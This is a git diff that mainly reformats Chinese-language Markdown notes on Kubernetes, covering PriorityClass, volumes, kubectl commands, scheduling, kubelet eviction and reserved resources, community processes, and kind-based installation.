当同样优先级的Pod需要被驱逐时,实际使用的资源量超过申请量最大倍数的高耗能Pod会被首先驱逐。对于QoS等级为“Best Effort”的Pod来说,由于没有定义资源申请(CPU/Memory Request),所以它们实际使用的资源可能非常大。 ### yaml + 1. 设置优先级类(PriorityClass不属于任何命名空间) + ```yaml apiVersion: scheduling.k8s.io/v1beta1 kind: PriorityClass @@ -25,11 +34,14 @@ value: 10000 # 数字越大,优先级越高,超过一亿的数字被系统 globalDefault: false description: "Avoid evicting by descheduler" ``` - - globalDefault - 1. 表示 PriorityClass 的值应该给那些没有设置 PriorityClassName 的 Pod 使用。 - 2. 整个系统只能存在一个 globalDefault 设置为 true 的 PriorityClass。 - 3. 如果没有任何 globalDefault 为 true 的 PriorityClass 存在,那么,那些没有设置 PriorityClassName 的 Pod 的优先级将为 0。 + +- globalDefault + 1. 表示 PriorityClass 的值应该给那些没有设置 PriorityClassName 的 Pod 使用。 + 2. 整个系统只能存在一个 globalDefault 设置为 true 的 PriorityClass。 + 3. 如果没有任何 globalDefault 为 true 的 PriorityClass 存在,那么,那些没有设置 PriorityClassName 的 Pod 的优先级将为 0。 + 2. Pod使用优先级类 + ```yaml apiVersion: v1 kind: Pod @@ -43,4 +55,4 @@ spec: image: nginx imagePullPolicy: IfNotPresent priorityClassName: high-priority -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-functions/volume.md b/container/Kubernetes/k8s-functions/volume.md index 497ff0e..4f29c5e 100644 --- a/container/Kubernetes/k8s-functions/volume.md +++ b/container/Kubernetes/k8s-functions/volume.md @@ -1,42 +1,57 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## Volume + - 参考文档 -https://kubernetes.io/docs/concepts/storage/volumes/ -https://www.kubernetes.org.cn/4069.html + https://kubernetes.io/docs/concepts/storage/volumes/ + https://www.kubernetes.org.cn/4069.html - volume 是kubernetes Pod中多个容器访问的共享目录。 + - volume 被定义在pod上,被这个pod的多个容器挂载到相同或不同的路径下。 + - Volume 的生命周期独立于容器。 ### 常见的Volume类型 -1. EmptyDir - 把宿主机的空目录挂载进pod, 会在宿主机上创建数据卷目录并挂在到容器中。 - Pod被删除后,数据也会丢失。 + +1. EmptyDir\ + 把宿主机的空目录挂载进pod, 会在宿主机上创建数据卷目录并挂在到容器中。\ + Pod被删除后,数据也会丢失。 2. HostPath - 把宿主机的真实存在的目录挂载进Pod。 - Pod被删除后,数据不会丢失。 + 把宿主机的真实存在的目录挂载进Pod。 + Pod被删除后,数据不会丢失。 3. Ceph - - Ceph RBD:可读写的方式映射只能映射给一个用户使用,只读的方式可以同时映射给多个用户使用。 - - CephFS:可读写的方式能映射给多个用户使用。 - -4. NFS - NFS是Network File System的简写,即网络文件系统,NFS是FreeBSD支持的文件系统中的一种。 - NFS基于RPC(Remote Procedure Call)远程过程调用实现,其允许一个系统在网络上与它人共享目录和文件。 - 通过使用NFS,用户和程序就可以像访问本地文件一样访问远端系统上的文件。 - NFS是一个非常稳定的,可移植的网络文件系统。具备可扩展和高性能等特性,达到了企业级应用质量标准。由于网络速度的增加和延迟的降低,NFS系统一直是通过网络提供文件系统服务的有竞争力的选择。 - ```yaml - volumes: - - name: volumes-name - nfs: - path: ${path} - server: ${IP} - ``` + + - Ceph RBD:可读写的方式映射只能映射给一个用户使用,只读的方式可以同时映射给多个用户使用。 + - CephFS:可读写的方式能映射给多个用户使用。 + +4. NFS\ + NFS是Network File System的简写,即网络文件系统,NFS是FreeBSD支持的文件系统中的一种。 + NFS基于RPC(Remote Procedure Call)远程过程调用实现,其允许一个系统在网络上与它人共享目录和文件。 + 通过使用NFS,用户和程序就可以像访问本地文件一样访问远端系统上的文件。 + NFS是一个非常稳定的,可移植的网络文件系统。具备可扩展和高性能等特性,达到了企业级应用质量标准。由于网络速度的增加和延迟的降低,NFS系统一直是通过网络提供文件系统服务的有竞争力的选择。 + + ```yaml + volumes: + - name: volumes-name + nfs: + path: ${path} + server: ${IP} + ``` + ### 概念讲解 + - PersistentVolumeClaim - - pod - pvc - pv 是用户对存储资源的请求 - pod - * - node + + pod - pvc - pv 是用户对存储资源的请求 + pod - * - node + - subPath - volumeMounts.subPath - 指定卷中的一个子目录,映射进容器内。 \ No newline at end of file + volumeMounts.subPath + 指定卷中的一个子目录,映射进容器内。 diff --git a/container/Kubernetes/k8s-overview/command.md b/container/Kubernetes/k8s-overview/command.md index 7bc41a2..9e251ab 100644 --- a/container/Kubernetes/k8s-overview/command.md +++ b/container/Kubernetes/k8s-overview/command.md @@ -1,47 +1,56 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### 指令 + https://kubernetes.io/zh/docs/reference/kubectl/cheatsheet/ + 1. 编辑 -KUBE_EDITOR="nano" kubectl edit svc/docker-registry + KUBE_EDITOR="nano" kubectl edit svc/docker-registry 2. 重启某个命名空间下的所有deployments -kubectl -n project-stg1 get deployments.apps | awk '{print $1}' | sed 1d | while read i;do kubectl -n project-stg1 rollout restart deployment $i;done + kubectl -n project-stg1 get deployments.apps | awk '{print $1}' | sed 1d | while read i;do kubectl -n project-stg1 rollout restart deployment $i;done 3. 开启dashboard - https://github.com/kubernetes/dashboard - kubectl proxy --address='0.0.0.0' --accept-hosts='^*$' + https://github.com/kubernetes/dashboard + kubectl proxy --address='0.0.0.0' --accept-hosts='^\*$' + +4. kubectl get podes + -o wide + -n kube-system + -w 持续查看 -3. kubectl get podes --o wide --n kube-system --w 持续查看 +5. 只创建pod + kubectl run --generator=run-pod/v1 nginx-name --replicas=2 --image=nginx --port=80 -4. 只创建pod -kubectl run --generator=run-pod/v1 nginx-name --replicas=2 --image=nginx --port=80 +6. 创建一个服务 + kubectl expose deployment nginx --port=80 --type=NodePort --target-port=80 --name=nginx-service -5. 创建一个服务 -kubectl expose deployment nginx --port=80 --type=NodePort --target-port=80 --name=nginx-service +7. 下载最新稳定版的kubectl + curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl -6. 下载最新稳定版的kubectl -curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl +8. 更改默认命名空间 + kubectl config set-context --current --namespace=default + 验证 + kubectl config view | grep namespace: -7. 更改默认命名空间 -kubectl config set-context --current --namespace=default -验证 -kubectl config view | grep namespace: +9. 查看所有的api资源 + kubectl api-resources -8. 查看所有的api资源 -kubectl api-resources - - 资源版本 +- 资源版本 kubectl api-versions - - 查看资源对象拥有的字段 - kubectl explain 资源名 --recursive - - 位于名字空间中的资源 +- 查看资源对象拥有的字段 + kubectl explain 资源名 --recursive +- 位于名字空间中的资源 kubectl api-resources --namespaced=true - - 不在名字空间中的资源 +- 不在名字空间中的资源 kubectl api-resources --namespaced=false -9. 查看所有Pod的状态 -kubectl get po | awk '{count[$3]++;} END {for(i in count) {print i,"" count[i]}}' | grep -v 'STATUS' +09. 查看所有Pod的状态 + kubectl get po | awk '{count[$3]++;} END {for(i in count) {print i,"" count[i]}}' | grep -v 'STATUS' 10. 删除pod @@ -50,15 +59,15 @@ kubectl delete po ${pod-name} --grace-period 30 --force # 强制删除 10. node维护 -cordon 命令将node1标记为不可调度,不影响任何已经在其上的Pod,但新的pod不能被调度过去。 node1状态变为SchedulingDisabled -drain 命令将运行在node1上运行的pod标记为evicted状态,随后pod平滑的转移其它节点上。 -对node1进行一些节点维护的操作,如升级内核,升级Docker等; -uncordon 命令解锁node1,使其node1重新变得可调度; + cordon 命令将node1标记为不可调度,不影响任何已经在其上的Pod,但新的pod不能被调度过去。 node1状态变为SchedulingDisabled + drain 命令将运行在node1上运行的pod标记为evicted状态,随后pod平滑的转移其它节点上。 + 对node1进行一些节点维护的操作,如升级内核,升级Docker等; + uncordon 命令解锁node1,使其node1重新变得可调度; 11. 驱逐 -每10秒驱逐一个pod -In most cases, the node controller limits the eviction rate to --node-eviction-rate (default 0.1) per second, meaning it won't evict pods from more than 1 node per 10 seconds. + 每10秒驱逐一个pod + In most cases, the node controller limits the eviction rate to --node-eviction-rate (default 0.1) per second, meaning it won't evict pods from more than 1 node per 10 seconds. -11. node节点状态Ready不等于true时 -If the Status of the Ready condition remains Unknown or False for longer than the pod-eviction-timeout (an argument passed to the kube-controller-manager), all the Pods on the node are scheduled for deletion by the node controller. The default eviction timeout duration is five minutes. -True if the node is healthy and ready to accept pods, False if the node is not healthy and is not accepting pods, and Unknown if the node controller has not heard from the node in the last node-monitor-grace-period (default is 40 seconds) \ No newline at end of file +12. node节点状态Ready不等于true时 + If the Status of the Ready condition remains Unknown or False for longer than the pod-eviction-timeout (an argument passed to the kube-controller-manager), all the Pods on the node are scheduled for deletion by the node controller. The default eviction timeout duration is five minutes. + True if the node is healthy and ready to accept pods, False if the node is not healthy and is not accepting pods, and Unknown if the node controller has not heard from the node in the last node-monitor-grace-period (default is 40 seconds) diff --git a/container/Kubernetes/k8s-overview/components.md b/container/Kubernetes/k8s-overview/components.md index b76dccc..d4bbeb3 100644 --- a/container/Kubernetes/k8s-overview/components.md +++ b/container/Kubernetes/k8s-overview/components.md @@ -1,19 +1,32 @@ +--- +created_date: 2020-12-17 +--- + +[TOC] + ## Schedule -- 参考 -https://draveness.me/system-design-scheduler/ + +- 参考\ + https://draveness.me/system-design-scheduler/ - 调度器的设计最终都会归结到一个问题上 — 如何对资源高效的分配和调度以达到我们的目的,可能包括对资源的合理利用、最小化成本、快速匹配供给和需求。 ## Controller + - 控制器最常见的定义:使得系统的当前状态达到所期望的状态的代码。 ## K8S Schedule + - 参考 + - https://kubernetes.io/zh/docs/reference/scheduling/policies/ - 整个调度过程分两步: - 1. Predicates 过滤出可用的节点 Predicates Policies - 2. Priorities 通过打分机制选择出最适合的节点 Priorities Policies + + 1. Predicates 过滤出可用的节点 Predicates Policies + 2. Priorities 通过打分机制选择出最适合的节点 Priorities Policies + ### 调度阶段 + 1. QueueSort 2. PreFilter 3. PreFilter @@ -25,59 +38,68 @@ https://draveness.me/system-design-scheduler/ 9. PostBind #### 自定义调度器 + - 使用自定义调度器 -pod.Spec.schedulerName + pod.Spec.schedulerName #### scheduler扩展方案 + - 参考 https://blog.csdn.net/i_want_to_be_a_god/article/details/106969992 - 目前Kubernetes支持四种方式实现客户自定义的调度算法(预选&优选),如下: 1. default-scheduler recoding -直接在Kubernetes默认scheduler基础上进行添加,然后重新编译kube-scheduler + 直接在Kubernetes默认scheduler基础上进行添加,然后重新编译kube-scheduler -2. standalone: -实现一个与kube-scheduler平行的custom scheduler,单独或者和默认kube-scheduler一起运行在集群中 +2. standalone: + 实现一个与kube-scheduler平行的custom scheduler,单独或者和默认kube-scheduler一起运行在集群中 -3. scheduler extender: -实现一个"scheduler extender",kube-scheduler会调用它(http/https)作为默认调度算法(预选&优选&bind)的补充 +3. scheduler extender: + 实现一个"scheduler extender",kube-scheduler会调用它(http/https)作为默认调度算法(预选&优选&bind)的补充 -4. scheduler framework: -实现scheduler framework plugins,重新编译kube-scheduler,类似于第一种方案,但是更加标准化,插件化 +4. scheduler framework: + 实现scheduler framework plugins,重新编译kube-scheduler,类似于第一种方案,但是更加标准化,插件化 #### 驱逐 + 1. 硬驱逐 2. 软驱逐 - MemoryPressure -禁止BestEffort类型的Pod调度到节点上 + 禁止BestEffort类型的Pod调度到节点上 - DiskPressure -禁止新的Pod调度到节点上 + 禁止新的Pod调度到节点上 + ## K8S Controller ## K8S Kubelet + - 参考 - - https://kubernetes.io/zh/docs/tasks/administer-cluster/reserve-compute-resources/ - - https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/ - - https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ - - https://kubernetes.io/docs/concepts/architecture/nodes/ - - https://www.alibabacloud.com/blog/kubernetes-eviction-policies-for-handling-low-ram-and-disk-space-situations---part-1_595202 - - https://www.infoq.cn/article/rrsrvv093hh6f1ymkcez - - https://eksctl.io/usage/customizing-the-kubelet/ - -- 术语 - - allocatable = NodeCapacity - [kube-reserved] - [system-reserved] - [eviction-threshold] - - /sys/fs/cgroup/memory/kubepods/memory.limit_in_bytes = NodeCapacity - [kube-reserved] - [system-reserved] - [eviction-threshold] - - kubectl top node = 实际使用资源 / (NodeCapacity - [kube-reserved] - [system-reserved] - [eviction-threshold]) 经验证EKS的计算方式不计入eviction-threshold,GKE的计入 - 1. Node Capacity:Node 的硬件资源总量; - 2. kube-reserved:为 k8s 系统进程预留的资源(包括 kubelet、container runtime 等,不包括以 pod 形式的资源); - 3. system-reserved:为 linux 系统守护进程预留的资源; - 4. eviction-threshold:通--eviction-hard 参数指定为节点预留的资源,当实际资源量达不到预留资源量时将触发驱逐Pod的操作; - 5. allocatable:可供节点上 Pod 使用的资源,kube-scheduler 调度 Pod 时的参考此值。 - -- 驱逐 -官方说实际使用资源大于allocatable则触发驱逐 + + - https://kubernetes.io/zh/docs/tasks/administer-cluster/reserve-compute-resources/ + - https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/ + - https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ + - https://kubernetes.io/docs/concepts/architecture/nodes/ + - https://www.alibabacloud.com/blog/kubernetes-eviction-policies-for-handling-low-ram-and-disk-space-situations---part-1_595202 + - https://www.infoq.cn/article/rrsrvv093hh6f1ymkcez + - https://eksctl.io/usage/customizing-the-kubelet/ + +- 术语 + + - allocatable = NodeCapacity - [kube-reserved] - [system-reserved] - [eviction-threshold] + - /sys/fs/cgroup/memory/kubepods/memory.limit_in_bytes = NodeCapacity - [kube-reserved] - [system-reserved] - [eviction-threshold] + - kubectl top node = 实际使用资源 / (NodeCapacity - [kube-reserved] - [system-reserved] - [eviction-threshold]) 经验证EKS的计算方式不计入eviction-threshold,GKE的计入 + + 1. Node Capacity:Node 的硬件资源总量; + 2. kube-reserved:为 k8s 系统进程预留的资源(包括 kubelet、container runtime 等,不包括以 pod 形式的资源); + 3. system-reserved:为 linux 系统守护进程预留的资源; + 4. eviction-threshold:通--eviction-hard 参数指定为节点预留的资源,当实际资源量达不到预留资源量时将触发驱逐Pod的操作; + 5. allocatable:可供节点上 Pod 使用的资源,kube-scheduler 调度 Pod 时的参考此值。 + +- 驱逐\ + 官方说实际使用资源大于allocatable则触发驱逐 + ```bash # 查看节点的allocatable资源、实际使用资源 # 当left<0时发生驱逐 @@ -97,18 +119,20 @@ echo "left=$left" # used/allocatable # 理论上kubectl top node等于used/allocatable,但往往都大于used/allocatable ``` -- Kubelet Node Allocatable 的代码 -主要在 pkg/kubelet/cm/node_container_manager.go +- Kubelet Node Allocatable 的代码\ + 主要在 pkg/kubelet/cm/node_container_manager.go -- 查看当前node的资源是否达到压力值 -kubectl describe node ${nodename} | grep 'MemoryPressure\|DiskPressure\|PIDPressure' +- 查看当前node的资源是否达到压力值\ + kubectl describe node ${nodename} | grep 'MemoryPressure|DiskPressure|PIDPressure' -- kubernetes 服务器版本必须至少是 1.17 版本,才能使用 kubelet 命令行选项 --reserved-cpus 设置 显式预留 CPU 列表。 +- kubernetes 服务器版本必须至少是 1.17 版本,才能使用 kubelet 命令行选项 --reserved-cpus 设置 显式预留 CPU 列表。 - 默认情况下,kubelet 没有做资源预留限制,这样节点上的所有资源都能被 Pod 使用。 ### 配置讲解 + 1. 参数 + ```conf # 1. Kube预留值: --kube-reserved=[cpu=100m][,][memory=100Mi][,][ephemeral-storage=1Gi][,][pid=1000] @@ -128,10 +152,13 @@ kubectl describe node ${nodename} | grep 'MemoryPressure\|DiskPressure\|PIDPress ``` ### GKE + ```bash /home/kubernetes/bin/kubelet --config /home/kubernetes/kubelet-config.yaml ... ``` + cat /home/kubernetes/kubelet-config.yaml + ```yaml apiVersion: kubelet.config.k8s.io/v1beta1 authentication: @@ -166,11 +193,16 @@ readOnlyPort: 10255 serverTLSBootstrap: true staticPodPath: /etc/kubernetes/manifests ``` + ### EKS + cat /etc/eksctl/kubelet.yaml + ### 其它 + 1. 配置 -``` + +```` 修改/etc/sysconfig/kubelet ```conf # 在kubelet的启动参数中添加: @@ -183,10 +215,12 @@ KUBELET_EXTRA_ARGS=" --system-reserved-cgroup=/system.slice \ --eviction-hard=memory.available<2Gi" -``` +```` + 2. 设置cgroup结构可参考官方建议。 + ```bash # 所以需要手工创建相应cpuset子系统: sudo mkdir -p /sys/fs/cgroup/cpuset/system.slice sudo mkdir -p /sys/fs/cgroup/cpuset/system.slice/kubelet.service -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-overview/develop.md b/container/Kubernetes/k8s-overview/develop.md index be692a6..76f6220 100644 --- a/container/Kubernetes/k8s-overview/develop.md +++ b/container/Kubernetes/k8s-overview/develop.md @@ -1,32 +1,45 @@ +--- +created_date: 2020-12-19 +--- + +[TOC] + # 社区 -- 参考 - - https://stupefied-goodall-e282f7.netlify.app/keps/ - - https://draveness.me/kubernetes-contributor/ - - https://kubernetes.io/community/ -1. SIG(Special Interest Groups) 特别兴趣小组 -Kubernetes 目前包含 20 多个 SIG,它们分别负责了 Kubernetes 项目中的不同模块。 +- 参考 + - https://stupefied-goodall-e282f7.netlify.app/keps/ + - https://draveness.me/kubernetes-contributor/ + - https://kubernetes.io/community/ + +1. SIG(Special Interest Groups) 特别兴趣小组\ + Kubernetes 目前包含 20 多个 SIG,它们分别负责了 Kubernetes 项目中的不同模块。 + +2. KEP(Kubernetes Enhancement Proposal) 提案\ + 因为 Kubernetes 目前已经是比较成熟的项目了,所有的变更都会影响下游的使用者,对于功能和 API 的修改都需要先在 kubernetes/enhancements 仓库对应 SIG 的目录下提交提案才能实施,所有的提案都必须经过讨论、通过社区 SIG Leader 的批准。 + +3. WG(Working Groups) 工作小组 -2. KEP(Kubernetes Enhancement Proposal) 提案 -因为 Kubernetes 目前已经是比较成熟的项目了,所有的变更都会影响下游的使用者,对于功能和 API 的修改都需要先在 kubernetes/enhancements 仓库对应 SIG 的目录下提交提案才能实施,所有的提案都必须经过讨论、通过社区 SIG Leader 的批准。 +4. UG(User Groups) 用户小组 -4. WG(Working Groups) 工作小组 +5. slack -5. UG(User Groups) 用户小组 + - 进入slack方式 https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ -6. slack - - 进入slack方式 https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ ## 分布式协作 + 1. 与公司内部项目的开发模式不同,几乎所有的开源社区都是一个分布式的、松散的组织,这种特殊的场景非常考验项目的管理方式。 2. Kubernetes 中所有的社区会议都会使用 Zoom 录制并上传到 Youtube,大多数的讨论和交流也都会在对应的 issue 和 PR 中。 3. Kubernetes 社区除了提倡公开讨论之外,它还包含功能强大的测试系统,每个提交的 PR 都需要通过两个以上成员的 Review 以及几千个单元测试、集成测试、端到端测试以及扩展性测试,这些测试共同保证了项目的稳定。 ## 代码规范 + Kubernetes 项目使用 golint 作为静态检查工具 ## 版本迭代 + alpha --> beta ## 设计模式 + - Kubernetes它工作的整个核心都是围绕Etcd里面存的对象来工作的,称这之为面向API Object的编程模型。 -- Kubernetes里所有的组件,Scheduller,Kubelet等等,全部维护了一个自己的Control Loop,相当于在不断地循环Etcd。 \ No newline at end of file +- Kubernetes里所有的组件,Scheduller,Kubelet等等,全部维护了一个自己的Control Loop,相当于在不断地循环Etcd。 diff --git a/container/Kubernetes/k8s-overview/k8s-install.md b/container/Kubernetes/k8s-overview/k8s-install.md index 44676b2..341d3be 100644 --- a/container/Kubernetes/k8s-overview/k8s-install.md +++ b/container/Kubernetes/k8s-overview/k8s-install.md @@ -1,10 +1,18 @@ +--- +created_date: 2021-01-15 +--- + +[TOC] + ## 二进制安装 + https://github.com/easzlab/kubeasz https://my.oschina.net/u/4255236/blog/4873696 ## kind 测试环境 + - 参考 -https://kind.sigs.k8s.io/ + https://kind.sigs.k8s.io/ ```bash # 简单创建集群 @@ -38,6 +46,7 @@ docker exec ${node-name} crictl images ``` vim kind-config.yaml + ```yaml kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 @@ -47,4 +56,3 @@ nodes: - role: worker # kind create cluster --config kind.yaml ``` - diff --git a/container/Kubernetes/k8s-overview/kubernetes.md b/container/Kubernetes/k8s-overview/kubernetes.md index 1adf925..40815eb 100644 --- a/container/Kubernetes/k8s-overview/kubernetes.md +++ b/container/Kubernetes/k8s-overview/kubernetes.md @@ -1,17 +1,29 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + - https://kubernetes.io/docs/home/ - https://www.cnblogs.com/itzgr/p/12509968.html - https://www.kubernetes.org.cn/3031.html + # kubernetes + - 一个开源的容器编排引擎 - 期望状态管理器,先在Kubernetes中指定应用程序期望状态(实例数,磁盘空间,镜像等),然后它会尝试把应用维持在这种状态。 ## CNI、CRI、CSI + - CNI、CRI和CSI都是K8S的开放接口 -CRI(Container Runtime Interface):容器运行时接口,提供计算资源 -CNI(Container Network Interface):容器网络接口,提供网络资源 -CSI(Container Storage Interface):容器存储接口,提供存储资源 + CRI(Container Runtime Interface):容器运行时接口,提供计算资源 + CNI(Container Network Interface):容器网络接口,提供网络资源 + CSI(Container Storage Interface):容器存储接口,提供存储资源 + ### CNI + 作为容器平台的网络标准化组件,为容器提供跨网段的通信支持,是kubernetes集群overlay网络的实现关键。 + ```bash # 参考文档 https://blog.csdn.net/qq_21816375/article/details/80402055 @@ -19,38 +31,49 @@ https://www.kubernetes.org.cn/6908.html https://blog.csdn.net/u013694670/article/details/104123366 calicoctl get ippool -oyaml ``` + ### CSI -1. apiserver将资源编码为ProtoBuf格式进行存储。 +1. apiserver将资源编码为ProtoBuf格式进行存储。 ## Kubernetes API Server + 1. 默认端口 - - https API: https://IP:6443 - - http API: http://127.0.0.1:8080 -3. 访问示范 -curl localhost:8080/api/v1 -curl -k --cert /opt/k8s/work/admin.pem --key /opt/k8s/work/admin-key.pem https://IP:6443/ - -4. 接口 - 1. 资源对象的增、删、改、查接口。 - 2. Kubernetes Proxy API接口。 - - 代理REST请求,即APIServer把收到的REST请求转发到某个Node上的kubelet守护进程的REST端口,由该kubelet进程负责响应。 - /api/v1/proxy/nodes/{name}/pods/ # 列出指定节点内所有Pod的信息 - /api/v1/proxy/nodes/{name}/stats/ # 列出指定节点内物理资源的统计信息 - /api/v1/proxy/nodes/{name}/spec/ # 列出指定节点的概要信息 - -5. APIServer和其它组件的交互 - 1. kubelet 每隔一个时间周期,就会调用一次APIServer的REST接口报告自身状态,APIServer在接收到这些信息后,会将节点状态信息更新到etcd中。 - 2. kubelet通过APIServer的Watch接口监听Pod信息,如果监听到新的Pod副本被调度绑定到本节点,则执行Pod对应的容器创建和启动逻辑;如果监听到Pod对象被删除,则删除本节点上相应的Pod容器;如果监听到修改Pod的信息,kubelet就会相应地修改本节点的Pod容器。 - 3. kube-controller-manager 中的Node Controller模块通过APIServer提供的Watch接口实时监控Node的信息,并做相应处理。 - 4. Scheduler 通过APIServer的Watch接口监听到新建Pod副本的信息后,会检索所有符合该Pod要求的Node列表,开始执行Pod调度逻辑,在调度成功后将Pod绑定到目标节点上。 - - 5. 为减少Apiserver的压力,各组件都采用缓存来缓存数据。功能模块在某些情况下不直接访问Apiserver,而是通过访问缓存来间接访问Apiserver。 + + - https API: https://IP:6443 + - http API: http://127.0.0.1:8080 + +2. 访问示范 + curl localhost:8080/api/v1 + curl -k --cert /opt/k8s/work/admin.pem --key /opt/k8s/work/admin-key.pem https://IP:6443/ + +3. 接口 + + 1. 资源对象的增、删、改、查接口。 + 2. Kubernetes Proxy API接口。 + - 代理REST请求,即APIServer把收到的REST请求转发到某个Node上的kubelet守护进程的REST端口,由该kubelet进程负责响应。 + /api/v1/proxy/nodes/{name}/pods/ # 列出指定节点内所有Pod的信息 + /api/v1/proxy/nodes/{name}/stats/ # 列出指定节点内物理资源的统计信息 + /api/v1/proxy/nodes/{name}/spec/ # 列出指定节点的概要信息 + +4. APIServer和其它组件的交互 + + 1. kubelet 每隔一个时间周期,就会调用一次APIServer的REST接口报告自身状态,APIServer在接收到这些信息后,会将节点状态信息更新到etcd中。 + + 2. kubelet通过APIServer的Watch接口监听Pod信息,如果监听到新的Pod副本被调度绑定到本节点,则执行Pod对应的容器创建和启动逻辑;如果监听到Pod对象被删除,则删除本节点上相应的Pod容器;如果监听到修改Pod的信息,kubelet就会相应地修改本节点的Pod容器。 + + 3. kube-controller-manager 中的Node Controller模块通过APIServer提供的Watch接口实时监控Node的信息,并做相应处理。 + + 4. Scheduler 通过APIServer的Watch接口监听到新建Pod副本的信息后,会检索所有符合该Pod要求的Node列表,开始执行Pod调度逻辑,在调度成功后将Pod绑定到目标节点上。 + + 5. 为减少Apiserver的压力,各组件都采用缓存来缓存数据。功能模块在某些情况下不直接访问Apiserver,而是通过访问缓存来间接访问Apiserver。 kubernetes没有像其他分布式系统中额外引入MQ,是因为其设计理念采用了level trigger而非edge trigger。其仅仅通过http+protobuffer的方式,实现list-watcher机制来解决各组件间的消息通知。因此,在了解各组件通信前,必须先了解list-watch机制在kubernetes的应用。 - edge trigger边缘触发 是指每当状态变化时发生一个io事件; - level trigger条件触发 是只要满足条件就发生一个io事件; +edge trigger边缘触发 是指每当状态变化时发生一个io事件; +level trigger条件触发 是只要满足条件就发生一个io事件; + ## master + 1. Etcd:保存了整个集群的状态; 2. Apiserver:提供kubernetes所有资源增删改查的唯一入口,也是集群控制的入口,提供http Rest接口,完成集群管理,资源配额,访问控制,认证授权,以及对etcd的操作。 @@ -60,70 +83,77 @@ kubernetes没有像其他分布式系统中额外引入MQ,是因为其设计 4. Scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上; ## node + 1. kubelet:处理Master下发到本节点的任务,管理pod及pod的容器,每个kubelet在Apiserver上注册自身信息,定期向Master汇报节点的资源使用情况,并通过cAdvisor监控容器和节点信息。 2. Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI); -3. kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡。将到service的访问转发到后端的多个pod实例上,维护路由信息,对于每一个TCP类型的k8s service,kube-proxy会在本地建立一个sockerserver来负责均衡算法,使用rr负载均衡算法。 +3. kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡。将到service的访问转发到后端的多个pod实例上,维护路由信息,对于每一个TCP类型的k8s service,kube-proxy会在本地建立一个sockerserver来负责均衡算法,使用rr负载均衡算法。 ## 部署k8s集群 -1. 通过github上开源项目kubeasz以ansible方式进行部署 +1. 通过github上开源项目kubeasz以ansible方式进行部署 ## 术语 -1. Pod是一个逻辑概念,是Kubernetes资源调度的单元,是一组紧密关联的容器集合,是Kubernetes调度的基本单位。 -Pod内的容器间共享PID、IPC、Network和UTS namespace。 -Pod的设计理念是支持多个容器在一个Pod中共享网络和文件系统,可以通过进程间通信和文件共享这种简单高效的方式组合完成服务。 -缺点: 不支持高并发, 高可用, 当Pod当机后无法自动恢复。 -2. ReplicationController(内置pod模块) -用于解决pod的扩容缩容问题。 -缺点: 无法修改template模板, 也就无法发布新的镜像版本。 +01. Pod是一个逻辑概念,是Kubernetes资源调度的单元,是一组紧密关联的容器集合,是Kubernetes调度的基本单位。 + Pod内的容器间共享PID、IPC、Network和UTS namespace。 + Pod的设计理念是支持多个容器在一个Pod中共享网络和文件系统,可以通过进程间通信和文件共享这种简单高效的方式组合完成服务。 + 缺点: 不支持高并发, 高可用, 当Pod当机后无法自动恢复。 -3. ReplicaSet是ReplicationController的代替物,因此用法基本相同,唯一的区别在于ReplicaSet支持集合式的selector。 +02. ReplicationController(内置pod模块) + 用于解决pod的扩容缩容问题。 + 缺点: 无法修改template模板, 也就无法发布新的镜像版本。 + +03. ReplicaSet是ReplicationController的代替物,因此用法基本相同,唯一的区别在于ReplicaSet支持集合式的selector。 + +04. Service是pod的路由代理抽象,用于解决pod之间的服务发现问题,即上下游pod之间使用的问题。 -4. Service是pod的路由代理抽象,用于解决pod之间的服务发现问题,即上下游pod之间使用的问题。 - 类型 : ClusterIP, NodePort, LoadBalance - NodePort限制范围为30000-32767 -5. Endpoint是可被访问的服务端点,即一个状态为running的pod,它是service访问的落点,只有service关联的pod才可能成为endpoint。 -Endpoint=Pod的IP + 容器的端口 +05. Endpoint是可被访问的服务端点,即一个状态为running的pod,它是service访问的落点,只有service关联的pod才可能成为endpoint。 + Endpoint=Pod的IP + 容器的端口 -6. Deployment在继承Pod和Replicaset的所有特性的同时, 它可以实现对template模板进行实时滚动更新并具备我们线上的Application life circle的特性。 +06. Deployment在继承Pod和Replicaset的所有特性的同时, 它可以实现对template模板进行实时滚动更新并具备我们线上的Application life circle的特性。 每个deployment会包含一个或者多个replicaset 每个replicaset会可以包含零个或者多个pod 每个replicaset对应deployment的一个revision 每次更新时,pod总是在一个replicaset中创建,然后在现有的replicaset中销毁 -7. Kubernetes默认对外的NodePort限制范围为30000-32767 +07. Kubernetes默认对外的NodePort限制范围为30000-32767 -8. Pod配置管理:ConfigMap资源对象 +08. Pod配置管理:ConfigMap资源对象 -9. DeaonSet +09. DeaonSet 10. Job 11. cronjoob ## 资源状态 -- 参考 -https://zhuanlan.zhihu.com/p/34332367 + +- 参考 + https://zhuanlan.zhihu.com/p/34332367 + 1. Pod状态 - 1. Error Pod 说明启动过程中发生了错误 - 2. CrashLoopBackOff 说明容器曾经启动了,但又异常退出了 + 1. Error Pod 说明启动过程中发生了错误 + 2. CrashLoopBackOff 说明容器曾经启动了,但又异常退出了 2. Pod重启策略restartPolicy - 1. Always:默认取值,不管是成功退出还是失败退出,都尝试重启该容器,Pod的阶段会保持为Running - 2. OnFailure:失败的时候重启,Pod的阶段保持为Running,成功的时候不重启,Pod的阶段转为Succeeded - 3. Never:不管失败还是成功都不重启,Pod的阶段转为Failed或者Succeeded + 1. 